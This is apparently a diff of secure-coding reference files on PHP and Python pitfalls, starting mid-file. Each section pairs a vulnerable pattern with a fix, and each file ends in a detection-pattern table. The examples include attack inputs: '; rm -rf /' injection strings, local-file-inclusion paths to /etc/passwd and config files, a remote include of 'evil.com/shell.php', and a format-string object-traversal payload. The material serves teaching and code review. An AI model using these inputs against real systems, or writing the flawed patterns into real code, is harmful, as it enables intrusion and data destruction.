// Attacker sends POST: isAdmin=true → $isAdmin = true
|
|
62
|
+
|
|
63
|
+
// Can overwrite existing variables:
|
|
64
|
+
$isAdmin = false;
|
|
65
|
+
extract($_POST); // Attacker overwrites $isAdmin
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
**Fix**: Never use `extract()` with user input. Use explicit assignment.
|
|
69
|
+
|
|
70
|
+
## Unserialize RCE
|
|
71
|
+
|
|
72
|
+
```php
|
|
73
|
+
// DANGEROUS: Like pickle, instantiates arbitrary objects
|
|
74
|
+
$obj = unserialize($_GET['data']);
|
|
75
|
+
|
|
76
|
+
// Attacker crafts serialized data that:
|
|
77
|
+
// 1. Instantiates class with dangerous __wakeup() or __destruct()
|
|
78
|
+
// 2. Chains through multiple classes ("POP gadgets")
|
|
79
|
+
// 3. Achieves code execution
|
|
80
|
+
|
|
81
|
+
// Common gadget chains in:
|
|
82
|
+
// - Laravel, Symfony, WordPress, Magento
|
|
83
|
+
// - phpggc tool generates payloads automatically
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
**Fix**: Never unserialize untrusted data. Use JSON instead.
|
|
87
|
+
If you must, use `allowed_classes` parameter (PHP 7.0+):
|
|
88
|
+
```php
|
|
89
|
+
unserialize($data, ['allowed_classes' => false]);
|
|
90
|
+
unserialize($data, ['allowed_classes' => ['SafeClass']]);
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
## preg_replace with /e Modifier
|
|
94
|
+
|
|
95
|
+
```php
|
|
96
|
+
// DANGEROUS: /e modifier executes replacement as PHP code
|
|
97
|
+
// Removed in PHP 7.0, but legacy code still exists
|
|
98
|
+
preg_replace('/.*/e', $_GET['code'], '');
|
|
99
|
+
// Executes arbitrary PHP code!
|
|
100
|
+
|
|
101
|
+
// Even without /e, user-controlled patterns are dangerous:
|
|
102
|
+
preg_replace($_GET['pattern'], $replacement, $subject);
|
|
103
|
+
// Attacker can add /e modifier in pattern
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
**Fix**: Use `preg_replace_callback()` instead of /e.
|
|
107
|
+
|
|
108
|
+
## include/require with User Input
|
|
109
|
+
|
|
110
|
+
```php
|
|
111
|
+
// DANGEROUS: Local File Inclusion
|
|
112
|
+
include($_GET['page'] . '.php');
|
|
113
|
+
|
|
114
|
+
// Attacker: ?page=../../../etc/passwd%00
|
|
115
|
+
// (null byte truncates .php in old PHP)
|
|
116
|
+
|
|
117
|
+
// Attacker: ?page=php://filter/convert.base64-encode/resource=config
|
|
118
|
+
// Reads and encodes config.php
|
|
119
|
+
|
|
120
|
+
// DANGEROUS: Remote File Inclusion (if allow_url_include=On)
|
|
121
|
+
include($_GET['url']);
|
|
122
|
+
// Attacker: ?url=http://evil.com/shell.php
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
**Fix**: Whitelist allowed files, never use user input in include.
|
|
126
|
+
|
|
127
|
+
## == vs === with Objects
|
|
128
|
+
|
|
129
|
+
```php
|
|
130
|
+
// DANGEROUS: == compares values, === compares identity
|
|
131
|
+
$a = new stdClass();
|
|
132
|
+
$a->value = 1;
|
|
133
|
+
|
|
134
|
+
$b = new stdClass();
|
|
135
|
+
$b->value = 1;
|
|
136
|
+
|
|
137
|
+
$a == $b; // TRUE - same property values
|
|
138
|
+
$a === $b; // FALSE - different objects
|
|
139
|
+
|
|
140
|
+
// This can bypass checks:
|
|
141
|
+
if ($user == $admin) { // Compares properties, not identity!
|
|
142
|
+
grantAccess();
|
|
143
|
+
}
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
## Floating Point in Equality
|
|
147
|
+
|
|
148
|
+
```php
|
|
149
|
+
// DANGEROUS: Float comparison
|
|
150
|
+
0.1 + 0.2 == 0.3 // FALSE!
|
|
151
|
+
// Actually: 0.30000000000000004
|
|
152
|
+
|
|
153
|
+
// DANGEROUS: Float to int conversion
|
|
154
|
+
(int)"1e2" // 1 (not 100!)
|
|
155
|
+
(int)1e2 // 100
|
|
156
|
+
|
|
157
|
+
// In array keys:
|
|
158
|
+
$arr[(int)"1e2"] = "a"; // $arr[1]
|
|
159
|
+
$arr[(int)1e2] = "b"; // $arr[100]
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
## Shell Command Injection
|
|
163
|
+
|
|
164
|
+
```php
|
|
165
|
+
// DANGEROUS: Unescaped shell commands
|
|
166
|
+
system("ls " . $_GET['dir']);
|
|
167
|
+
exec("grep " . $_GET['pattern'] . " file.txt");
|
|
168
|
+
passthru("convert " . $_FILES['image']['name']);
|
|
169
|
+
|
|
170
|
+
// Attacker: ?dir=; rm -rf /
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
**Fix**: Use `escapeshellarg()` and `escapeshellcmd()`:
|
|
174
|
+
```php
|
|
175
|
+
system("ls " . escapeshellarg($_GET['dir']));
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
Better: Avoid shell commands entirely, use PHP functions.
|
|
179
|
+
|
|
180
|
+
## Array Key Coercion
|
|
181
|
+
|
|
182
|
+
```php
|
|
183
|
+
// DANGEROUS: Array keys are coerced
|
|
184
|
+
$arr = [];
|
|
185
|
+
$arr["0"] = "a";
|
|
186
|
+
$arr[0] = "b";
|
|
187
|
+
$arr["00"] = "c";
|
|
188
|
+
|
|
189
|
+
// Result: $arr = [0 => "b", "00" => "c"]
|
|
190
|
+
// String "0" was coerced to integer 0!
|
|
191
|
+
|
|
192
|
+
$arr[true] = "x"; // $arr[1] = "x"
|
|
193
|
+
$arr[false] = "y"; // $arr[0] = "y"
|
|
194
|
+
$arr[null] = "z"; // $arr[""] = "z"
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
## Null Coalescing Pitfalls
|
|
198
|
+
|
|
199
|
+
```php
|
|
200
|
+
// ?? only checks for null/undefined, NOT falsy
|
|
201
|
+
$value = $_GET['x'] ?? 'default';
|
|
202
|
+
|
|
203
|
+
// If $_GET['x'] is "", 0, "0", false, []
|
|
204
|
+
// These are NOT null, so no default is used!
|
|
205
|
+
|
|
206
|
+
// vs ternary which checks truthiness:
|
|
207
|
+
$value = $_GET['x'] ?: 'default'; // Uses default for falsy values
|
|
208
|
+
|
|
209
|
+
// But ?: triggers notice for undefined variables
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
## Session Fixation
|
|
213
|
+
|
|
214
|
+
```php
|
|
215
|
+
// DANGEROUS: Accepting session ID from user
|
|
216
|
+
session_id($_GET['session']);
|
|
217
|
+
session_start();
|
|
218
|
+
|
|
219
|
+
// Attacker:
|
|
220
|
+
// 1. Gets victim to visit: site.com?session=attacker_knows_this
|
|
221
|
+
// 2. Victim logs in
|
|
222
|
+
// 3. Attacker uses same session ID to hijack session
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
**Fix**: Regenerate session ID after authentication:
|
|
226
|
+
```php
|
|
227
|
+
session_start();
|
|
228
|
+
// ... authenticate user ...
|
|
229
|
+
session_regenerate_id(true); // true deletes old session
|
|
230
|
+
```
|
|
231
|
+
|
|
232
|
+
## Detection Patterns
|
|
233
|
+
|
|
234
|
+
| Pattern | Risk |
|
|
235
|
+
|---------|------|
|
|
236
|
+
| `== ` comparison with user input | Type juggling |
|
|
237
|
+
| `strcmp($user_input, ...)` | NULL comparison bypass |
|
|
238
|
+
| `$$var` or `extract($_` | Variable injection |
|
|
239
|
+
| `unserialize($user_input)` | Object injection RCE |
|
|
240
|
+
| `preg_replace('/e'` | Code execution |
|
|
241
|
+
| `include($user_input)` | File inclusion |
|
|
242
|
+
| `system/exec/passthru($user_input)` | Command injection |
|
|
243
|
+
| `"0e\d+" == "0e\d+"` | Magic hash comparison |
|
|
244
|
+
| `session_id($_GET` | Session fixation |
|
|
245
|
+
| Missing `===` for security checks | Type confusion bypass |
|
|
@@ -0,0 +1,274 @@
|
|
|
1
|
+
# Python Sharp Edges
|
|
2
|
+
|
|
3
|
+
## Mutable Default Arguments
|
|
4
|
+
|
|
5
|
+
```python
|
|
6
|
+
# DANGEROUS: Default is shared across all calls
|
|
7
|
+
def append_to(item, target=[]):
|
|
8
|
+
target.append(item)
|
|
9
|
+
return target
|
|
10
|
+
|
|
11
|
+
append_to(1) # [1]
|
|
12
|
+
append_to(2) # [1, 2] - same list!
|
|
13
|
+
append_to(3) # [1, 2, 3]
|
|
14
|
+
|
|
15
|
+
# Also affects dicts and other mutables
|
|
16
|
+
def register(name, registry={}):
|
|
17
|
+
registry[name] = True
|
|
18
|
+
return registry
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
**The Problem**: Default arguments are evaluated once at function definition, not at each call.
|
|
22
|
+
|
|
23
|
+
**Fix**: Use `None` sentinel:
|
|
24
|
+
```python
|
|
25
|
+
def append_to(item, target=None):
|
|
26
|
+
if target is None:
|
|
27
|
+
target = []
|
|
28
|
+
target.append(item)
|
|
29
|
+
return target
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
## Eval, Exec, and Code Execution
|
|
33
|
+
|
|
34
|
+
```python
|
|
35
|
+
# DANGEROUS: Arbitrary code execution
|
|
36
|
+
eval(user_input) # Executes Python expression
|
|
37
|
+
exec(user_input) # Executes Python statements
|
|
38
|
+
|
|
39
|
+
# DANGEROUS: compile + exec
|
|
40
|
+
code = compile(user_input, '<string>', 'exec')
|
|
41
|
+
exec(code)
|
|
42
|
+
|
|
43
|
+
# DANGEROUS: input() in Python 2
|
|
44
|
+
# In Python 2: input() == eval(raw_input())
|
|
45
|
+
# Python 2 code taking input() from users = RCE
|
|
46
|
+
|
|
47
|
+
# DANGEROUS: Dynamic import
|
|
48
|
+
__import__(user_input)
|
|
49
|
+
importlib.import_module(user_input)
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
**Also Dangerous**:
|
|
53
|
+
- `pickle.loads()` - arbitrary code execution
|
|
54
|
+
- `yaml.load()` - arbitrary code execution (use `safe_load`)
|
|
55
|
+
- `subprocess.Popen(shell=True)` with user input
|
|
56
|
+
|
|
57
|
+
## Late Binding Closures
|
|
58
|
+
|
|
59
|
+
```python
|
|
60
|
+
# DANGEROUS: Closures capture variable by reference, not value
|
|
61
|
+
funcs = []
|
|
62
|
+
for i in range(3):
|
|
63
|
+
funcs.append(lambda: i)
|
|
64
|
+
|
|
65
|
+
[f() for f in funcs] # [2, 2, 2] - all see final i
|
|
66
|
+
|
|
67
|
+
# Same with list comprehension
|
|
68
|
+
funcs = [lambda: i for i in range(3)]
|
|
69
|
+
[f() for f in funcs] # [2, 2, 2]
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
**Fix**: Capture by value using default argument:
|
|
73
|
+
```python
|
|
74
|
+
funcs = []
|
|
75
|
+
for i in range(3):
|
|
76
|
+
funcs.append(lambda i=i: i) # i=i captures current value
|
|
77
|
+
|
|
78
|
+
[f() for f in funcs] # [0, 1, 2]
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
## Identity vs Equality
|
|
82
|
+
|
|
83
|
+
```python
|
|
84
|
+
# DANGEROUS: 'is' checks identity, not equality
|
|
85
|
+
a = 256
|
|
86
|
+
b = 256
|
|
87
|
+
a is b # True - CPython caches small integers [-5, 256]
|
|
88
|
+
|
|
89
|
+
a = 257
|
|
90
|
+
b = 257
|
|
91
|
+
a is b # False - different objects!
|
|
92
|
+
|
|
93
|
+
# String interning is also unpredictable
|
|
94
|
+
s1 = "hello"
|
|
95
|
+
s2 = "hello"
|
|
96
|
+
s1 is s2 # True - interned
|
|
97
|
+
|
|
98
|
+
s1 = "hello world"
|
|
99
|
+
s2 = "hello world"
|
|
100
|
+
s1 is s2 # Maybe - depends on context
|
|
101
|
+
|
|
102
|
+
# DANGEROUS in conditionals
|
|
103
|
+
if x is True: # Wrong - use: if x is True (for singletons only)
|
|
104
|
+
if x is 1: # Wrong - use: if x == 1
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
**Rule**: Use `is` only for `None`, `True`, `False`, and explicit singleton checks.
|
|
108
|
+
|
|
109
|
+
## Import Shadowing
|
|
110
|
+
|
|
111
|
+
```python
|
|
112
|
+
# DANGEROUS: Naming your file same as stdlib module
|
|
113
|
+
# File: random.py
|
|
114
|
+
import random
|
|
115
|
+
print(random.randint(1, 10)) # ImportError or recursion!
|
|
116
|
+
|
|
117
|
+
# Your random.py shadows the stdlib random module
|
|
118
|
+
|
|
119
|
+
# Similarly dangerous names:
|
|
120
|
+
# - email.py (shadows email module)
|
|
121
|
+
# - test.py (shadows test framework)
|
|
122
|
+
# - types.py (shadows types module)
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
## Exception Handling Pitfalls
|
|
126
|
+
|
|
127
|
+
```python
|
|
128
|
+
# DANGEROUS: Bare except catches everything
|
|
129
|
+
try:
|
|
130
|
+
risky_operation()
|
|
131
|
+
except: # Catches KeyboardInterrupt, SystemExit, etc.
|
|
132
|
+
pass
|
|
133
|
+
|
|
134
|
+
# DANGEROUS: Catching Exception still misses some
|
|
135
|
+
try:
|
|
136
|
+
risky_operation()
|
|
137
|
+
except Exception: # Misses KeyboardInterrupt, SystemExit
|
|
138
|
+
pass
|
|
139
|
+
|
|
140
|
+
# DANGEROUS: Silently swallowing
|
|
141
|
+
try:
|
|
142
|
+
important_security_check()
|
|
143
|
+
except SomeError:
|
|
144
|
+
pass # Security check failure ignored!
|
|
145
|
+
|
|
146
|
+
# DANGEROUS: Exception in except block
|
|
147
|
+
try:
|
|
148
|
+
operation()
|
|
149
|
+
except SomeError as e:
|
|
150
|
+
log(e) # If log() raises, original exception lost
|
|
151
|
+
raise
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
## Name Rebinding in Loops
|
|
155
|
+
|
|
156
|
+
```python
|
|
157
|
+
# DANGEROUS: Reusing loop variable
|
|
158
|
+
for item in items:
|
|
159
|
+
process(item)
|
|
160
|
+
|
|
161
|
+
# Later in same scope:
|
|
162
|
+
print(item) # Still bound to last item!
|
|
163
|
+
|
|
164
|
+
# DANGEROUS with exceptions
|
|
165
|
+
for item in items:
|
|
166
|
+
try:
|
|
167
|
+
process(item)
|
|
168
|
+
except Exception as e:
|
|
169
|
+
pass
|
|
170
|
+
|
|
171
|
+
# In Python 3, 'e' is deleted after except block
|
|
172
|
+
# But 'item' persists
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
## Class vs Instance Attributes
|
|
176
|
+
|
|
177
|
+
```python
|
|
178
|
+
# DANGEROUS: Mutable class attribute shared by all instances
|
|
179
|
+
class User:
|
|
180
|
+
permissions = [] # Class attribute - shared!
|
|
181
|
+
|
|
182
|
+
u1 = User()
|
|
183
|
+
u2 = User()
|
|
184
|
+
u1.permissions.append('admin')
|
|
185
|
+
print(u2.permissions) # ['admin'] - u2 is also admin!
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
**Fix**: Initialize in `__init__`:
|
|
189
|
+
```python
|
|
190
|
+
class User:
|
|
191
|
+
def __init__(self):
|
|
192
|
+
self.permissions = [] # Instance attribute - unique
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
## String Formatting Injection
|
|
196
|
+
|
|
197
|
+
```python
|
|
198
|
+
# DANGEROUS: Format string with user data as format spec
|
|
199
|
+
template = user_input # "{0.__class__.__mro__[1].__subclasses__()}"
|
|
200
|
+
template.format(some_object) # Can access arbitrary attributes!
|
|
201
|
+
|
|
202
|
+
# DANGEROUS: f-string with user input (if using eval)
|
|
203
|
+
eval(f'f"{user_input}"') # Code execution
|
|
204
|
+
|
|
205
|
+
# DANGEROUS: % formatting with user-controlled format
|
|
206
|
+
user_template % (data,) # Less dangerous but still risky
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
**Fix**: Use string concatenation or safe templating (Jinja2 with autoescape).
|
|
210
|
+
|
|
211
|
+
## Numeric Precision
|
|
212
|
+
|
|
213
|
+
```python
|
|
214
|
+
# DANGEROUS: Float comparison
|
|
215
|
+
0.1 + 0.2 == 0.3 # False!
|
|
216
|
+
# 0.1 + 0.2 = 0.30000000000000004
|
|
217
|
+
|
|
218
|
+
# DANGEROUS: Large integer to float
|
|
219
|
+
n = 10**20
|
|
220
|
+
float(n) == float(n + 1) # True - precision loss
|
|
221
|
+
|
|
222
|
+
# DANGEROUS: Division in Python 2
|
|
223
|
+
# 5 / 2 = 2 (integer division in Python 2)
|
|
224
|
+
# 5 / 2 = 2.5 (float division in Python 3)
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
## Unpacking Pitfalls
|
|
228
|
+
|
|
229
|
+
```python
|
|
230
|
+
# DANGEROUS: Unpacking user-controlled data
|
|
231
|
+
a, b, c = user_list # ValueError if wrong length
|
|
232
|
+
|
|
233
|
+
# Can be used for DoS:
|
|
234
|
+
# Send list with 10 million elements to function expecting 3
|
|
235
|
+
# Python will iterate entire list before raising ValueError
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
## Subprocess Shell Injection
|
|
239
|
+
|
|
240
|
+
```python
|
|
241
|
+
# DANGEROUS: shell=True with user input
|
|
242
|
+
import subprocess
|
|
243
|
+
subprocess.run(f"ls {user_input}", shell=True)
|
|
244
|
+
# user_input = "; rm -rf /" → command injection
|
|
245
|
+
|
|
246
|
+
# SAFE: Use list form without shell
|
|
247
|
+
subprocess.run(["ls", user_input]) # user_input is just an argument
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
## Attribute Access on None
|
|
251
|
+
|
|
252
|
+
```python
|
|
253
|
+
# DANGEROUS: Chained access without checks
|
|
254
|
+
result = api.get_user().profile.settings.theme
|
|
255
|
+
# Any None in chain causes AttributeError
|
|
256
|
+
|
|
257
|
+
# Python doesn't have optional chaining like JS (?.)
|
|
258
|
+
# Must check each step or use getattr with default
|
|
259
|
+
```
|
|
260
|
+
|
|
261
|
+
## Detection Patterns
|
|
262
|
+
|
|
263
|
+
| Pattern | Risk |
|
|
264
|
+
|---------|------|
|
|
265
|
+
| `def f(x=[])` or `def f(x={})` | Mutable default argument |
|
|
266
|
+
| `eval(`, `exec(`, `compile(` | Code execution |
|
|
267
|
+
| `pickle.loads(`, `yaml.load(` | Deserialization RCE |
|
|
268
|
+
| `lambda: var` in loop | Late binding closure |
|
|
269
|
+
| `x is 1`, `x is "string"` | Identity vs equality confusion |
|
|
270
|
+
| `import x` where x.py exists locally | Import shadowing |
|
|
271
|
+
| `except:` or `except Exception:` | Over-broad exception catching |
|
|
272
|
+
| `class Foo: bar = []` | Shared mutable class attribute |
|
|
273
|
+
| `template.format(obj)` with user template | Format string injection |
|
|
274
|
+
| `subprocess.*(..., shell=True)` | Command injection |
|